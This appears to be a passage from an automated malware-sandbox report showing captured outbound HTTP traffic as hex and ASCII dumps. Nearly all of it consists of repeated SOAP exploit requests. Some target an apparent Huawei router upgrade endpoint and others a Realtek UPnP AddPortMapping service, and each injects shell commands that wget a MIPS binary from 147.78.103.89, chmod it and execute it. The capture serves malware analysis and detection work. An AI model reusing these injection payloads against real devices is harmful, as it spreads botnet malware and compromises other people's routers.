                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:43.067620993 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:57.655394077 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:27.094506025 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      137192.168.2.154023045.43.239.952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:29.908360958 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:30.776133060 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:31.768104076 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:33.752048016 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
